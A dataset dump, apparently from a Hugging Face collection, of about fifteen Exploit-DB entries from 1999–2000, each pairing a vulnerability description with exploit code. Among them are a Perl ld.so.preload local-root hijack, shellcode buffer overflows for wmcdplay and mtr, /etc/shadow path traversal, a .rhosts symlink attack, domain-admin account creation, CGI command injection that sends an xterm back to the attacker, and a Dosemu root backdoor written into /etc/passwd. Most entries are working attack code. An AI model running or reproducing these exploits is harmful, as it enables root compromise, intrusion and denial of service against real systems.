QLWD/code_shield huggingface dataset:
标题: Netscape Enterprise Server 3.0/3.6/3.51 - Directory Indexing EDB-ID: 19814 CVE: 2000-0236 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-03-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1063/info

Netscape Enterprise Server 3.x includes a poorly documented feature that will allow remote users to view directory listings by appending various instructional tags to the URL. Although it can be disabled, Netscape Enterprise Server is shipped with the "Directory Indexing" feature enabled by default. 

/*
 * Server:Netscape-Enterprise
 * This exploit is about Trasversal Vuln.
 *
 * Written by Gabriel Maggiotti
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define SEND 10000
#define RECIVE 100000


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[SEND]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
int sockfd, numbytes;
char recv_buf[RECIVE];
int port;

char inject[SEND]=
 "\x47\x45\x54\x20\x2f\x3f\x77\x70\x2d\x63\x73\x2d"
 "\x64\x75\x6d\x70\x20\x48\x54\x54\x50\x2f\x31\x2e"
 "\x30\xa\xa";


struct hostent *he;

struct sockaddr_in their_addr;


if(argc!=3)
{
 fprintf(stderr,"usage:%s <hostname> <port>\n",argv[0]);
 exit(1);
}


if((he=gethostbyname(argv[1]))==NULL)
{
 perror("gethostbyname");
 exit(1);
}

port=atoi(argv[2]);



if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
 perror("socket");
 exit(1);
}


their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);



if( connect(sockfd,(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
 perror("connect");
 exit(1);
}

if(send(sockfd,inject,SEND,0) ==-1)
{
 perror("send");
 exit(0);
}

if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)
{
 perror("recv");
 exit(1);
}

recv_buf[numbytes]='\0';
printf("%s\n",recv_buf);




close(sockfd);

return 0;
} URL: https://www.exploit-db.com/exploits/19814
标题: AT Computing atsar_linux 1.4 - File Manipulation EDB-ID: 19804 CVE: 2000-0171 类型: LOCAL 平台: LINUX 发布日期: 2000-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1048/info

atsar is a linux load monitoring software package released under the GPL by AT Computing. atsadc is a setuid root binary that is included in the atsar package. atsadc is setuid because it obtains informatin via /dev/kmem. atsadc will accept as an argument an output file, which it will open -- without checking to make sure the user executing atsadc has the priviliges to do so. After it has opened and created (or overwritten) the target file as root, the permissions set on the file will allow the attacker to write to it. Since this file is arbitrary, it is possible to gain root locally in any number of ways through creating malicious system files. In Teso's proof of concept exploit, root priviliges are gained by creating a malicious shared library to be preloaded and creating/specifying that library in /etc/ld.so.preload (and then executing a setuid binary..).

Starting with atsar 1.5 the program is no longer suid root as it obtains its information via the /proc file system.

#!/usr/bin/perl

# Halloween 4 local root-exploit, other distros are maybe
# affected as well. (atsadc program)
# (C) 2000 C-skills development, S. Krahmer under the GPL
# http://www.cs.uni-potsdam.de/homepages/students/linuxer

# Exploit will create /etc/ld.so.preload, so it should NOT exist
# already. THIS FILE WILL BE LOST!

# ! USE IT AT YOUR OWN RISK !
# For educational purposes only.

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
 chown("/tmp/boomsh", 0, 0);
 chmod("/tmp/boomsh", 06755);
 unlink("/etc/ld.so.preload");
 exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
$foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
$foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
$foo = `cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

print "Invoking vulnerable program (atsadc)...\n";
$foo = `atsadc 2 1 /etc/ld.so.preload`;
open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
$foo = `/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh"); URL: https://www.exploit-db.com/exploits/19804
标题: GameHouse dldisplay - ActiveX control 0 / Real Server 5.0/7.0 Internal IP Address Disclosure EDB-ID: 19805 CVE: 2000-0185 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1049/info

By default, Real Server includes the IP address of the server in data sent to the client. If the Real Server is installed on a machine in a NAT environment, (where requests from the outside network are handled by reverse proxy), this will reveal what are supposed to be private, hidden IP addresses.

$ GET http://realg2.example.com:8080/ramgen/foo.rm
reveals-
rtsp://192.168.11.12:554/foo.rm
--stop--
pnm://192.168.11.12:7070/foo.rm
server info:
WinNT Version 6.0.3.303 URL: https://www.exploit-db.com/exploits/19805
标题: Microsoft Windows NT 4.0 - User Shell Folders EDB-ID: 19798 CVE: 1999-1084 类型: LOCAL 平台: WINDOWS 发布日期: 2000-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/1042/info


The registry value 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 

specifies the shared startup folder for all users on a system. This key is set to be writeable by any authenticated user. Therefore, any user could specify a folder with a shortcut to a program of their choice that will be run any time a user logs in, at the privilege level of that user.

Example: 

On a Domain Controller, a batch file containg the following commands:
--
net user attacker /add /domain
net group administrators attacker /add /domain
--
could be put into the folder c:\hackstartup.
Then the registry value 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 
could be set to the string "c:\hackstartup".
The next time an administrator logs on to that machine, the 'attacker' account will be created and added to the Administrators group on the PDC of the domain. URL: https://www.exploit-db.com/exploits/19798
标题: Sam Hawker wmcdplay 1.0 beta1-2 - Local Buffer Overflow (1) EDB-ID: 19802 CVE: 2000-0223 类型: LOCAL 平台: LINUX 发布日期: 2000-03-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1047/info

wmcdplay is cdplayer generally used with the WindowMaker X11 window-manager on unix systems. While wmcdplay is rarely installed at all by default, when it is installed it is typically set setuid root. wmcdplay is vulnerable to a buffer overflow attack due to lack of bounds checking on an argument it is passed. As a result, a local user can elevate their priviliges to root through overruning the stack and executing arbitrary code with the effective user-id of the process (root).

/*** Halloween 4 local root exploit for wmcdplay. Other distros are
 *** maybe affected as well.
 *** (C) 2000 by C-skills development. Under the GPL. 
 *** 
 *** Bugdiscovery + exploit by S. Krahmer & Stealth.
 ***
 *** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the
 *** OpenBSD-freak. :-) Greets to all our friends. You know who you are.
 *** 
 ***
 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
 ***
 *** other advisories and kewl stuff at:
 *** http://www.cs.uni-potsdam.de/homepages/students/linuxer
 ***
 ***/
#include <stdio.h>

/* The shellcode can't contain '/' as wmcdplay will exit then.
 * So i used Stealth's INCREDIBLE hellkit to generate these code! :-)
 */
char shell[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91";

/* filename-buffer plus ret + ebp - defaultpath 
 */
#define buflen (256+8 - 28)
#error "no kids please"

int main(int argc, char **argv)
{               
 char *wm[] = {
  "/usr/X11R6/bin/wmcdplay", 
  "-f", 
  "-display", "0:0", /* one might comment this if already running on X; remotely you can
        * give your own server
                      */
  0
 };
 
 char boom[buflen+10];
 int i = 0, j = 0, ret =  0xbffff796; /* this address works for me */

 memset(boom, 0, sizeof(boom));
 memset(boom, 0x90, buflen);
 if (argc > 1)
  ret += atoi(argv[1]);
 else
  printf("You can also add an offset to the commandline. 40 worked for me on the console.\n");
 for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
  boom[i] = shell[j++];
 *(long*)(&boom[i]) = ret; 
 
 printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
        "Respect other users privacy!\n");
        
 execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0);
 return 0;
} URL: https://www.exploit-db.com/exploits/19802
标题: Oracle8i Standard Edition 8.1.5 for Linux Installer - Local Privilege Escalation EDB-ID: 19794 CVE: 2000-0206 类型: LOCAL 平台: LINUX 发布日期: 2000-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1035/info

A vulnerability exists in the installation program for Oracle 8.1.5i. The Oracle installation scripts will create a directory named /tmp/orainstall, owned by oracle:dba, mode 711. Inside of this directory it will create a shell script named orainstRoot.sh, mode 777. The installation script will then stop and ask the person installing to run this script. The installation program at no point attempts to determine if the directory or script already exist. This makes it possible to create a symbolic link from the orainstRoot.sh file to elsewhere on the file system. This could be used to create a .rhosts file, for instance, and gain access to the root account. In addition, since the orainstRoot.sh file is mode 777, it is possible for any user on the machine to edit this script to execute arbitrary commands when run by root. Again, this can result in the compromise of the root account.

It is not readily apparent what versions of Oracle this does and does not affect. It has been confirmed on Oracle 8.1.5i, on the Linux/Intel platform. 

mkdir /tmp/orainstall
ln -sf /.rhosts /tmp/orainstall/orainstRoot.sh URL: https://www.exploit-db.com/exploits/19794
标题: Sun StarOffice 5.1 - Arbitrary File Read EDB-ID: 19797 CVE: 2000-0174 类型: REMOTE 平台: UNIX 发布日期: 2000-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/1040/info

StarOffice is a desktop office suite offered by Sun Microsystems. StarScheduler is a groupware server that ships with StarOffice and includes a webserver that runs as root by default. When a request it sent to a webserver for a document, the StarScheduler httpd will follow "../" paths if provided. As a result, exploiting this allows an attacker to view any file on the target system (the server runs as root..), including files such as /etc/shadow.

http://starscheduler_server:801/../../../../etc/shadow URL: https://www.exploit-db.com/exploits/19797
标题: Microsoft Windows Server 2000/95/98/ME/NT 3.5.x/Enterprise Server 4.0/Terminal Server 4.0/Workstation 4.0 Microsoft DoS Device Name - Denial of Service EDB-ID: 19799 CVE: 2000-0168 类型: DOS 平台: WINDOWS 发布日期: 2000-03-04 漏洞利用脚本: Windows 2000 Advanced Server/2000 Datacenter Server/2000 Professional/2000 Server/95/98/ME/NT 3.5.x/NT Enterprise Server 4.0/NT Terminal Server 4.0/NT Workstation 4.0 MS DOS Device Name DoS Vulnerability

source: https://www.securityfocus.com/bid/1043/info

Due to an inherent fault within the Microsoft Windows 9x/NT/2000 operating systems, local and remote users have the capability of crashing the system by simply requesting any permutation of a path and filename referring to a reserved DOS device name in the manner of device\device.

The following is an incomplete list of device names that have been known to render a system unstable: CON, NUL, AUX, PRN, CLOCK$, COMx, LPT1, and CONFIG$.

Exploiting this vulnerability can be done in a number of ways. Local users are able to crash the operating system by attempting to open a file of device\device, eg. within Microsoft Word, the Run dialog box, or at a command prompt. 
It is possible to remotely crash a Windows 9x/NT/2000 machine as well. This bug is exploitable remotely via any service that involves the remote user specifying paths on the target ie ftp or web services, netbios shares, etc. 

Malicious webmasters may exploit this vulnerability by creating a link that will invoke devices locally on the web user's machine.

In addition, many archiving programs will allow special devices to be called out of context. Some archivers have been known to drop device name files to an unspecified location on the disk. The majority of virus scanners are not affected by this issue.


The host must be restarted to regain normal functionality.

Some FTP servers running on a patched version of Windows 98 are still reported to be vulnerable.

It has been reported that aspects of this issue may still be exploitable via Internet Explorer on patched versions of Microsoft Windows operating systems. There are conflicting reports however, regarding what versions of Windows and Internet Explorer are affected. IE6, Windows ME, Windows 2000 SP4 and Windows XP SP1 have been reported to be affected, these reports however have not been confirmed.

Examples of how to remotely exploit this issue:

FTP: ftp> ls nul/nul
WWW: http ://target/con/con 
\\target\prn\prn
etc.

The same results can be achieved by visiting a website and viewing an HTML file with a local reference to device\device such as <img src="c:\con\con">. URL: https://www.exploit-db.com/exploits/19799
标题: Caldera OpenLinux 2.3 - rpm_query CGI EDB-ID: 19795 CVE: 2000-0192 类型: REMOTE 平台: CGI 发布日期: 2000-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1036/info

A vulnerability exists in the default installation of Caldera OpenLinux 2.3. A CGI is installed in /home/httpd/cgi-bin/ names rpm_query. Any user can run this CGI and obtain a listing of the packages, and versions of packages, installed on this system. This could be used to determine vulnerabilities on the machine remotely.

Run the rpm_query CGI via a GET. It is located in /cgi-bin/rmp_query, relative to the root of the web server. URL: https://www.exploit-db.com/exploits/19795
标题: Matt Kimball and Roger Wolff mtr 0.28/0.41 / Turbolinux 3.5 b2/4.2/4.4/6.0 - mtr (2) EDB-ID: 19796 CVE: 2000-0172 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-03-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1038/info

A potential vulnerability exists in the 'mtr' program, by Matt Kimball and Roger Wolff. Versions prior to 0.42 incorrectly dropped privileges on all Unix variants except HPUX. By calling a seteuid(getuid()) call, the authors hoped to drop permissions to prevent the obtaining of root privilege should there be potential vulnerabilities in mtr or a library it depends on. However, due to saved uid semantics, the uid of 0 can be recovered simply by doing a setuid(0). An attacker would only need to find an overflow in one of the libraries mtr uses, such as gtk or curses. In patched versions, the seteuid() call has been changed to setuid(). This will eliminate this potential problem.

/* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */
/* freebsd mtr-0.41 local root exploit */

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h> 
#include <string.h>   

#define NOP             0x90
#define BUFSIZE         10000
#define ADDRS           1200 

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc; 
char **argv;
{
        char *execshell =
        //seteuid(0);
        "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
        //setuid(0);
        "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
        //execl("/bin/sh", "sh", 0);
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

        char buf[BUFSIZE+ADDRS+1], *p;
        int noplen, i, ofs;
        long ret, *ap;
   
        if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }

        ofs = atoi(argv[1]);

        noplen = BUFSIZE - strlen(execshell);
        ret = getesp() + ofs;
        
        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, execshell);
        
        setenv("EGG", buf, 1);
        
        p = buf;
        ap = (unsigned long *)p;
        
        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;
        
        p = (char *)ap;
        *p = '\0';
        
        fprintf(stderr, "ret: 0x%x\n", ret);
        
        setenv("TERMCAP", buf, 1);
        execl("/usr/local/sbin/mtr", "mtr", 0);
        
        return 0;
} URL: https://www.exploit-db.com/exploits/19796
标题: Sam Hawker wmcdplay 1.0 beta1-2 - Local Buffer Overflow (2) EDB-ID: 19803 CVE: 2000-0223 类型: LOCAL 平台: LINUX 发布日期: 2000-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/1047/info
 
wmcdplay is cdplayer generally used with the WindowMaker X11 window-manager on unix systems. While wmcdplay is rarely installed at all by default, when it is installed it is typically set setuid root. wmcdplay is vulnerable to a buffer overflow attack due to lack of bounds checking on an argument it is passed. As a result, a local user can elevate their priviliges to root through overruning the stack and executing arbitrary code with the effective user-id of the process (root).

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19803.tar.gz URL: https://www.exploit-db.com/exploits/19803
标题: Netscape Enterprise Server 3.6 SP2/FastTrack Server 2.0.1 - GET EDB-ID: 19783 CVE: 1999-0744 类型: DOS 平台: WINDOWS 发布日期: 1999-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1024/info

A GET request containing over 4080 characters will cause the httpd.exe process to crash within Netscape Enterprise Server 3.6, resulting in a Dr. Watson error. Arbitrary code can be executed remotely at this point. 

Netscape Enterprise Server 3.5 running on either Netware or Solaris is not known to be susceptible to this issue.

GET /(4080 character string) HTTP/1.0 URL: https://www.exploit-db.com/exploits/19783
标题: Microsoft Clip Art Gallery 5.0 - Local Buffer Overflow EDB-ID: 19789 CVE: 2000-0200 类型: LOCAL 平台: WINDOWS 发布日期: 2000-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1034/info

A vulnerability exists within the Microsoft Clip Art Gallery, where a remote user can crash the Clip Art application or possibly execute arbitrary code.

Clip art can be downloaded from any website and incorporated into the local gallery. A particular file format called .CIL is used in order to transport new clip art files to the users. The vulnerability is that a user may open a malformed .CIL file containing a long embedded field downloaded from a malicious third-party website or in the form of an email attachment regardless of it's origin.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19789.bad URL: https://www.exploit-db.com/exploits/19789
标题: Alex Heiphetz Group eZshopper 3.0 - Remote Command Execution EDB-ID: 19781 CVE: 2000-0187 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/1014/info

EZShopper is a perl-based E-Commerce software package offered by Alex Heiphetz Group, Inc. It is possible to remotely compromise a host due to a lack of checks on user input passed directly to the open() call. This vulnerability exists in two scripts shipped with EZShopper, loadpage.cgi and search.cgi. 

In the first vulnerability, the variable passed to open() is called "file" and is submitted to a script called loadpage.cgi. There are no checks on "file", meaning that if "../" preceed an arbitrary filename/path as the file variable, those "../" paths will be followed and the arbitrary file anywhere on the filesystem will be displayed (provided that the uid of the webserver has access to them..). If pipes are included in the variable, arbitrary commands can be executed on the target host possibly giving remote access to the attacker with the uid of the webserver (usually 'nobody'). 

The second vulnerability is identical in nature to the first but is in the "search.cgi" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well.

#!/bin/bash 
echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080

[ /cut ]

$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%

(this would send an xterm from the target host to wherever display is)

http: //www.example.com/cgi-bin/search.cgi?user_id=1&database=<insert here>&template=<or insert here>&distinct=1 URL: https://www.exploit-db.com/exploits/19781
标题: Corel Linux OS 1.0 - Dosemu Distribution Configuration EDB-ID: 19787 CVE: 2000-0193 类型: LOCAL 平台: LINUX 发布日期: 2000-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1030/info

A vulnerability exists in the configuration of Dosemu, the DOS emulator, as shipped with Corel Linux 1.0. Dosemu documentation cautions that the system.com binary should not be made available to users, as it implements the system() libc call. Users can use this command to execute commands as root, and obtain elevated access to the system.

This "vulnerability" has been documented in the Dosemu documentation for a number of years.

Script started on Fri Feb 25 13:54:00 2000
nebula:~$ id
uid=1000(suid) gid=1000(suid) groups=1000(suid)
nebula:~$ cat > hack-corel
#!/bin/bash
echo "owned::0:0::/:/bin/bash" >> /etc/passwd
^D
nebula:~$ chmod a+rx hack-corel
nebula:~$ export PATH="$PATH:."
nebula:~$ dos
CPU speed set to 430/1 MHz
Running on CPU=586, FPU=1, rdtsc=1

[ snip bunch of dosemu crap ]

"Welcome to dosemu 0.98!
C:\> system hack-corel; 
sh: : command not found 
C:\> exitERROR: general protection at 0x3f0ff: 0
ERROR: SIGSEGV, protected insn...exiting!
nebula:~$ tail -1 /etc/passwd
owned::0:0::/:/bin/bash
nebula:~$ su owned
nebula:/home/suid# id
uid=0(root) gid=0(root) groups=0(root)
nebula:/home/suid# exit
exit
nebula:~$ exit URL: https://www.exploit-db.com/exploits/19787